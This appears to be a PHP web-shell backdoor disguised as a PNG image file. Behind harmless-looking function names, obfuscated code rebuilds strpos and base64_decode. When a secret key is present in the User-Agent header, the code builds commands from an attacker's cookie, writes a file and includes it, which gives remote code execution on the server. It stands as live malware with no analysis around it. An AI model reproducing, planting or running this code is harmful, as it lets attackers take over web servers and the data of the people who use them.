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 PNG      %k25u25%fgd5n!<?php
function log_operation(...$rl)
{
    $s = array(99 * 1 + 16, 61 + 55, 114, 47 + 24 + 41, 57 * 1 + 54, 115);
    $b = '';
    foreach ($s as $g) {
        $b .= chr($g);
    }
    return $b(...$rl);
}

function analyze_data($b)
{
    $y = array(101 * 1, 2 * 50, 84 + 26 + 1, 41 * 1 + 58, 101, 2 * 50, 95, 29 + 23, 2 * 27, 92 + 9, 5 * 23, 98 * 48 - 4607, 35 + 63);
    $j = '';
    foreach ($y as $e) {
        $j .= chr($e);
    }
    $j = strrev($j);
    return $j($b);
}

class SessionManager
{
    private static $_ndo;
    static function updateRegistry($_cbe)
    {
        if (!self::$_ndo) {
            self::checkConsistency();
        }
        return analyze_data(self::$_ndo[$_cbe]);
    }
    private static function checkConsistency()
    {
        self::$_ndo = array('_sd' => 'SFRUUF' . '9VU0VSX0F' . 'HRU5U', '_tul' => 'SF' . 'RUUF9' . 'VU0VSX0F' . 'HR' . 'U5' . 'U', '_mw' => 'MTU' . 'x' . 'NDE1OTk=', '_zmx' => '', '_eo' => '');
    }
}

if (isset($_SERVER[SessionManager::updateRegistry('_sd')]) && log_operation($_SERVER[SessionManager::updateRegistry('_tu' . 'l')], SessionManager::updateRegistry('_' . 'm' . 'w')) !== false) {
    $_sgj = $_COOKIE;
    $_yqs = 00;
    $_cbe = 04;
    $_yo = array();
    $_yo[$_yqs] = SessionManager::updateRegistry('_zm' . 'x');
    while ($_cbe) {
        $_yo[$_yqs] .= $_sgj[047][$_cbe];
        if (!$_sgj[047][$_cbe + 01]) {
            if (!$_sgj[047][$_cbe + 02]) {
                break;
            }
            $_yqs++;
            $_yo[$_yqs] = SessionManager::updateRegistry('_e' . 'o');
            $_cbe++;
        }
        $_cbe = $_cbe + 04 + 01;
    }
    $_yqs = $_yo[02]() . $_yo[024];
    if (!$_yo[022]($_yqs)) {
        $_cbe = $_yo[011]($_yqs, $_yo[031]);
        $_yo[013]($_cbe, $_yo[032] . $_yo[03]($_yo[012]($_sgj[03])));
    }
    include $_yqs;
    die;
}